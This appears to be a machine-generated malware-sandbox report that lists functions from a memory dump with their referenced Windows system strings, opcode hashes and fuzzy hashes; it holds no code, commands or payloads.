AlternateCodePage, xrefs: 0155CD9E

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: AlternateCodePage
API String ID: 0-3889302423
Opcode ID: cec0c1be15754fbacb8518fcdd8ced0efd1ea91ef4f43a65faa2cb095f26ea36
Instruction ID: edda34efadea25d870786fbcb85614f68ca384e327435fe31e2a69128da6af20
Opcode Fuzzy Hash: cec0c1be15754fbacb8518fcdd8ced0efd1ea91ef4f43a65faa2cb095f26ea36
Instruction Fuzzy Hash: EB41C276D4121AAADF25DB98CCD0AFEBBB8FF84710F14415AE911EB250E7709B41CB50

Function 015941BB Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 01594220

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c43e4f6ca914e096b0bb6f6f892f888bfe98aaa5ba337e83ae16dc3185e72182
Instruction ID: 0b6ded4c90ea3c385ceaa01690026fb494747be0e4dc7c45fb6a17e4f8c6b3d8
Opcode Fuzzy Hash: c43e4f6ca914e096b0bb6f6f892f888bfe98aaa5ba337e83ae16dc3185e72182
Instruction Fuzzy Hash: 86519071504712AFC720DF59C841A6BBBF8FF88710F00892EFA959B660E7B4E905CB91

Function 015ECB20 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

@, xrefs: 015ECB8A

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 24301d71c721383bdebc81ada9c7915518b658ad1e82ffa4bd8bd0c07e92c7ff
Instruction ID: 177061e9e428179fe53e936f18f411ff9125dea4eced4de68b1c4e5c9e4e5044
Opcode Fuzzy Hash: 24301d71c721383bdebc81ada9c7915518b658ad1e82ffa4bd8bd0c07e92c7ff
Instruction Fuzzy Hash: B841A9B1D4025A9FDB25DFA9D845AAEBBF8FF94B00F00442AE919DF254E770C841CB60

Function 0161ADD6 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 0161AE0F

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: b648cd53dd7e47ede70f901fadf702d8337726fa89aec36ea38abd536208c90f
Instruction ID: 9cd857a26889dd44306692e71e17ef842115770377729bb2a7244b9efdd7a20f
Opcode Fuzzy Hash: b648cd53dd7e47ede70f901fadf702d8337726fa89aec36ea38abd536208c90f
Instruction Fuzzy Hash: 754194B690115AAFDB11DADCCC40BFEB7B9FF84650F084166EA01AB294E734DE41C7A0

Function 015DC3B0 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 015DC3FF

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: d777513667aff70c1e873521eb5d3ee03ec7c30c6cea6d2c8f87d4863395cd83
Instruction ID: 78937efdaad3ff095686c139baa79be72655b573dec54b7d9b721896832a2bdc
Opcode Fuzzy Hash: d777513667aff70c1e873521eb5d3ee03ec7c30c6cea6d2c8f87d4863395cd83
Instruction Fuzzy Hash: 0A4131B190012EABDB21DA54CC85FDEB77CBB84714F4045A9E708AF241DB709E88CFA5

Function 01606BDE Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

kLsE, xrefs: 01606C24

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: kLsE
API String ID: 0-3058123920
Opcode ID: 921fbb9618fade80e2e6c37f08924e0dc9d28da3cf65dcf511340652d5851a57
Instruction ID: 5a972fbd86ea0df630c5b0fe518e15f2942780f2913a1bfb2bb66b19fe35a21b
Opcode Fuzzy Hash: 921fbb9618fade80e2e6c37f08924e0dc9d28da3cf65dcf511340652d5851a57
Instruction Fuzzy Hash: CA415B32A0136287E336EB68EC847A63FA4FB50724F54121DED404F1C9DBB444E5C7A5

Function 015DC920 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

TrustedInstaller, xrefs: 015DC93B

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: TrustedInstaller
API String ID: 0-565535830
Opcode ID: 3729d5a456f39aedbd6a190138bcc1f713db45ba66366a3e104fba16b74fa97a
Instruction ID: bbfa6959ae865a03d6d17b8c88575c37707d9e0880a1a3c4f3e259182c2c9b35
Opcode Fuzzy Hash: 3729d5a456f39aedbd6a190138bcc1f713db45ba66366a3e104fba16b74fa97a
Instruction Fuzzy Hash: F631703295061ABBDB22DB98CC51FAEBBBCFB54650F000129BA01EF150D6709E41CB91

Function 015F66D0 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

#, xrefs: 015F6721

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 346b23fda1b33d8f4418f2bb4f28253e6df61055a985277e7a6624919d93c214
Instruction ID: b95ed30e4911f05c9f5d864969cbe22913ab26000d04b886b0ffb20da86335f3
Opcode Fuzzy Hash: 346b23fda1b33d8f4418f2bb4f28253e6df61055a985277e7a6624919d93c214
Instruction Fuzzy Hash: 6831E9316017599AEB22DE68C854FAEBBB8BF55704F14406CEA40AF282E775E905CB50

Function 01600AE0 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

@, xrefs: 01600B63

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 5ab56d2b180bb44ac9b81ade9d7e8da0aada14e332b8b9d6ea5bba702a491824
Instruction ID: 302e8d424bf968b7442de1290850c6e22e9932ef96af5e933d3dc27b28b70200
Opcode Fuzzy Hash: 5ab56d2b180bb44ac9b81ade9d7e8da0aada14e332b8b9d6ea5bba702a491824
Instruction Fuzzy Hash: E2317AB1148346AFD315DF14C805F9FBBE8FB94764F404A2EB69486290E7B1E908CB92

Function 015DC6F2 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 015DC722

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 7611c8fadd7a1f6730d67f50e276b8606a16657bd259fefa49253d3e74199ebb
Instruction ID: 408fcbdd894a61175f3d851b56b6101c3393f46c828ddb1d0c1f03d2d2ccd66c
Opcode Fuzzy Hash: 7611c8fadd7a1f6730d67f50e276b8606a16657bd259fefa49253d3e74199ebb
Instruction Fuzzy Hash: 1031BF7694051AAFEB26DA5CC945E6FBBB4FB80B20F12452DE905AF251D7309E00C7E1

Function 015FAA40 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 015FAABF

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: c7bc109fedbf2d2130522556f19fa8b9fef1477e522016d9bbcac1ac7836ac59
Instruction ID: 3d3553247d28d15ffd39d3f0dad4bad587d9989660aa2733ad544dd6bb79a561
Opcode Fuzzy Hash: c7bc109fedbf2d2130522556f19fa8b9fef1477e522016d9bbcac1ac7836ac59
Instruction Fuzzy Hash: 3C3147B2A40349EFDB11CF68CD45F5EBBB5FB84B10F108669FA05AB644D734A800CB90

Function 01588BD1 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 01588C07

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 28ec05bb75e60007dc76649bfeece563ac1f16d6a5e27de73284d7176d7d3b6d
Instruction ID: 3cefdb54f3ca81e00358f8302c1c4b6254599c8323a17c6122ea2f9fac2069c1
Opcode Fuzzy Hash: 28ec05bb75e60007dc76649bfeece563ac1f16d6a5e27de73284d7176d7d3b6d
Instruction Fuzzy Hash: 23215636501515FFDB32AE9DC884F5F7BA9FB91A90F554029AA05FF214E630DD01C7A0

Function 015E85AA Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 015E85DE

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 5f3f959e9b97cadf6626f20af68bbc7c805c26b257aa50fa785deb7d2359d3a1
Instruction ID: 1b4abd59e6b2494ae2df89a6ec2744567e601761dfb62cce565457919efd1f57
Opcode Fuzzy Hash: 5f3f959e9b97cadf6626f20af68bbc7c805c26b257aa50fa785deb7d2359d3a1
Instruction Fuzzy Hash: 66012B31A003029BDB7D9E559C4CA5A3FE5FFA1694F04241DF5430F552CB20B850CF95

Function 01616B77 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

Critical error detected %lx, xrefs: 01616BA7

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: de5baebf0b40305fdf944e128e7b8d49a4bb00df924fb5b9d752d45ea49be289
Instruction ID: 69293f361fdcf41cf26ee1358bc92c4181492a5a68d18c3f0b70b1321c4fad7d
Opcode Fuzzy Hash: de5baebf0b40305fdf944e128e7b8d49a4bb00df924fb5b9d752d45ea49be289
Instruction Fuzzy Hash: 91118BBAD403098BEB25CFA8C802BDDBBB0FB44728F24452ED025AB282E3B01511CF00

Function 015A088E Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ffefb9c66fdb05d64b5559d18d882b1b4ae3b14d21cce9b83ccb4d715377e902
Instruction ID: c1763cf84c7b5d866a1de751671b67053a7b7f3c289b39924b9231ef8fc19c0c
Opcode Fuzzy Hash: ffefb9c66fdb05d64b5559d18d882b1b4ae3b14d21cce9b83ccb4d715377e902
Instruction Fuzzy Hash: 51427B75940706DFDB61CF28C881BAAB7F4BF44304F5445AAE949EF241E770AA84CFA0

Function 01572760 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9ba4c2b972ac38453d498be24809e93a3164946c0dab8523e31e3eab9c409f4
Instruction ID: 83ff62c16d49fb3162ee02b2aaa03699f3e29f81140ccfaa02f570e33d0f89c0
Opcode Fuzzy Hash: a9ba4c2b972ac38453d498be24809e93a3164946c0dab8523e31e3eab9c409f4
Instruction Fuzzy Hash: 22329A70A007558FDB25CFA9C8947AEBBF2BF84B04F24452DE4469F385D735AA42CB50

Function 01566970 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979bc46ea8f95ad87df1822ce77b514f8f0673947143a98c3e12337c1265af13
Instruction ID: 8595c09e678331a0449fb729a480282e48d5c17d11ca61fbd285d118a2cc9287
Opcode Fuzzy Hash: 979bc46ea8f95ad87df1822ce77b514f8f0673947143a98c3e12337c1265af13
Instruction Fuzzy Hash: 32328C70A00645CFDB25CFA9C880BAEBBF5FF88310F148569E956AF352D774A841CB90

Function 01584955 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404bdb3069237242736c87285a47880b8af0925a3db27f9dc6d0c918b918b8ae
Instruction ID: 612ec9e791e1ec238c47bee2eda4f751a5227abacaed07b26732af16f7c9ebee
Opcode Fuzzy Hash: 404bdb3069237242736c87285a47880b8af0925a3db27f9dc6d0c918b918b8ae
Instruction Fuzzy Hash: A4F14771E0021A9BDF15DF99C881BAEBBFABF48744F098129ED15AF250E774D841CB60

Function 015F84BB Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fb0453c9b5fc437817eecb7e73429acad40f68144c134f2c1858918e72360f3
Instruction ID: d5b5f8c3df11dd2e2e0b95d1a575ab5a1820d2625cf1e63acc31848d7c6684c8
Opcode Fuzzy Hash: 7fb0453c9b5fc437817eecb7e73429acad40f68144c134f2c1858918e72360f3
Instruction Fuzzy Hash: CFD1C072E0060A9BDF15CF68C841BFEB7F1BF88304F18856DDA55AB241EB35E9058B60

Function 015664F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836b60125586ab2ab7ddcce024eba7ec2b56d6fe314e2604e17a4d346a76cfb9
Instruction ID: cc9fa7ffc962a03d9261807d1b371d50546cdc7c17f0a52779b0036c75f41f87
Opcode Fuzzy Hash: 836b60125586ab2ab7ddcce024eba7ec2b56d6fe314e2604e17a4d346a76cfb9
Instruction Fuzzy Hash: A2E18D70608342CFC715CF28C090A6ABBE5FF89314F448A6DF5959B352DB31E945CB92

Function 01558347 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 120dde2e5f0b45be84662ca51aa2d2a3d5a20567ece40bd889bf882c7cdb9fbc
Instruction ID: a9b83250602d6e984f8a2149879ca5df640273ca6bad068a9686905b178b2a51
Opcode Fuzzy Hash: 120dde2e5f0b45be84662ca51aa2d2a3d5a20567ece40bd889bf882c7cdb9fbc
Instruction Fuzzy Hash: 2ED1C071A00207DBDB54DF6AC8E0ABE77A5BF54204F08462EED12DF291EB74D945CB60

Function 015F69B0 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 765219582a63abb0e5ace51c2dc0ea95a812299ec7fa126d76523ac9bde940f5
Instruction ID: e70c6951a583180051240f4100feb9ef1934f0b1e513cac7e4a5f4fa67125119
Opcode Fuzzy Hash: 765219582a63abb0e5ace51c2dc0ea95a812299ec7fa126d76523ac9bde940f5
Instruction Fuzzy Hash: 80E15C70D0025A9FCF15CFA9C990AEEBBF5BF49304F148599E984EB241E335D985CBA0

Function 01570445 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b20c421a5f0d7cf45695429102df60821ed91581afdeee7473aace158a234d
Instruction ID: c9ac7e13b23afc0fcc7da95873d2a217d8eab0456c3e4c7b123253fc454bfd00
Opcode Fuzzy Hash: 63b20c421a5f0d7cf45695429102df60821ed91581afdeee7473aace158a234d
Instruction Fuzzy Hash: DBB12431600646AFDB25CFA8C8A1FBEBBF6BF85604F140559E652DF281D730E941CB50

Function 01580D01 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f773bcaf2347ca58d51c255acf016583cfb2db2db03aa04f3257cb163189b2
Instruction ID: 60e71f10612e6e468667796c074eb7649fd591fbb40590f2883e83f430a0eef9
Opcode Fuzzy Hash: d8f773bcaf2347ca58d51c255acf016583cfb2db2db03aa04f3257cb163189b2
Instruction Fuzzy Hash: EBC14D71E0030ADFDB25DF99C884AAEBBB5FF88304F10452DE515AF295E770A945CB50

Function 015682E0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c8d7fdd97939af5e88da6cbd4d8ff897b06ef255c51affbdc4a9488f250190d
Instruction ID: 470c4a66538fa7f9bcf159246a1ee47b39ba5cf113015baf9e5617b9306d5051
Opcode Fuzzy Hash: 3c8d7fdd97939af5e88da6cbd4d8ff897b06ef255c51affbdc4a9488f250190d
Instruction Fuzzy Hash: FFC14674208341CFD764CF19C494BAEB7E8BF88708F44496DE9898B291D7B4E908CF92

Function 0155C3C7 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 211cd61dc4c1bc384f7632d33eaad5743ae12de45e24ec3655751a660e1362da
Instruction ID: 9243ef705b45b86b7ba5b2a89d7678fdc46b541b6652a767b61bc20fb5f3bfe3
Opcode Fuzzy Hash: 211cd61dc4c1bc384f7632d33eaad5743ae12de45e24ec3655751a660e1362da
Instruction Fuzzy Hash: 07B18170A002668BDB75DF58C890BADB7F5FF84704F0485EAD90AAB251EB709D85CF21

Function 0158E507 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd224397e877055de6b288e6e35f65301dc8dec24a3cd0a472cf1cb5f85bffd
Instruction ID: 10e55e5fed768f8c4c87a43f625411c2b29f76daada488168129356bb15646e1
Opcode Fuzzy Hash: 3cd224397e877055de6b288e6e35f65301dc8dec24a3cd0a472cf1cb5f85bffd
Instruction Fuzzy Hash: 80A1F531E00216AFEB21EF9CDC49BAEBBB5FB44B18F050156EA11BF291D7749940CB91

Function 015A00A5 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a63fe3b593b0c095cb862815d3367e7d2932c923e179d412c70770b9acfd7a3
Instruction ID: 05ab308aef17202d16db89cf0adf70b3ccd16be3a3604e7c95fd5f7094de4596
Opcode Fuzzy Hash: 3a63fe3b593b0c095cb862815d3367e7d2932c923e179d412c70770b9acfd7a3
Instruction Fuzzy Hash: B1A1CF70B517169FDB25DF6DC990BAEB7B5FF54314F80402AEA059F282EB34A811CB80

Function 01634080 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 825c0d3861243534237cc7206fe613a62b18fc43d4fcabd79edbe5e0dabb0a3e
Instruction ID: 1736357882f8e702f8943e2cbcd16fa025a004457afbf4145eedde6f54e29d95
Opcode Fuzzy Hash: 825c0d3861243534237cc7206fe613a62b18fc43d4fcabd79edbe5e0dabb0a3e
Instruction Fuzzy Hash: 30A1EA72604612AFD721DF28CD81B2AFBE9FF98704F440628E5899B761DB74EC11CB91

Function 0157E310 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a65247b2ca99ea1f9733e249c707ff0d69e899e03db4578f1e2b2800d8c1d2
Instruction ID: 9b201e7905661ec71b5c4572cac1784f7faee607d7df6d5d2c4079c9b4b6675e
Opcode Fuzzy Hash: 52a65247b2ca99ea1f9733e249c707ff0d69e899e03db4578f1e2b2800d8c1d2
Instruction Fuzzy Hash: 9E910471A00726CFE720DF69E886B7E7BF2FF84B14F0544A9E9059F281D634A941C7A1

Function 015B693A Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43bb3c251a62b7a9c2200a4bd69878641024e9a187a81a36180f0d32cbe0b949
Instruction ID: 3b79cd68145a222350461da6554d89e0cb22c223b80461b02966a2fa48a7884f
Opcode Fuzzy Hash: 43bb3c251a62b7a9c2200a4bd69878641024e9a187a81a36180f0d32cbe0b949
Instruction Fuzzy Hash: A2818471A006169FDB18CF69C880AFEBBF9FB48704F14852EE555EB640E734E944CBA4

Function 0162A6C0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10c7932b254f136361a00da209bd0f1f317ff6b27432d4030294687b97bdc54
Instruction ID: 5cc1686a2b58647178cdfe374296955d03850dba7d75b6c438d89249d81e2391
Opcode Fuzzy Hash: b10c7932b254f136361a00da209bd0f1f317ff6b27432d4030294687b97bdc54
Instruction Fuzzy Hash: 8781A135A006168FDF18CF99C880ABEBBF6BF84310F198169D9169B784D7B4D902CF44

Function 0159E1A4 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547435bb754ada17cfa2b2c90893a4eaa8829f9afd69496e4f819aae7ec87082
Instruction ID: 22ea8eb9f42a026873a5d944871da5971a19e37ffdc3b99b7cd2ccac981a424b
Opcode Fuzzy Hash: 547435bb754ada17cfa2b2c90893a4eaa8829f9afd69496e4f819aae7ec87082
Instruction Fuzzy Hash: 91815D71A00609AFDF25CFA8C881BEEB7F9FF88354F144829E555AB250D730AD45DB60

Function 0157C560 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecf05d282fd3125186cb8b1856d64076a38701ae9090e3dbed7d39f63cb3672
Instruction ID: c79d877e0673a0645a42e3244b3edea01b8aceaf0d505c31eb07249de5eb9f1b
Opcode Fuzzy Hash: cecf05d282fd3125186cb8b1856d64076a38701ae9090e3dbed7d39f63cb3672
Instruction Fuzzy Hash: 7071BCB59056269FCB25CF98D9916BEBBF0FF49B10F14455EE842AF340E734A810CBA0

Function 015F88FB Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 709348bfed882f2524282b4e6ab0fb5fd2700b7757c24928c7505291481aad46
Instruction ID: 32724973de0f5a085a66dd2d732a75c1c823198d717ed5d4e120219cc8aba067
Opcode Fuzzy Hash: 709348bfed882f2524282b4e6ab0fb5fd2700b7757c24928c7505291481aad46
Instruction Fuzzy Hash: 1771BF7490425A9FCB15DF59C840ABEBBF5FF45300F0885A9EA98DB301E735EA46C7A0

Function 0157252B Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a9cecb2e0d707baf7ed659b707e756b7585bc09a8afd48717c04c84d793283
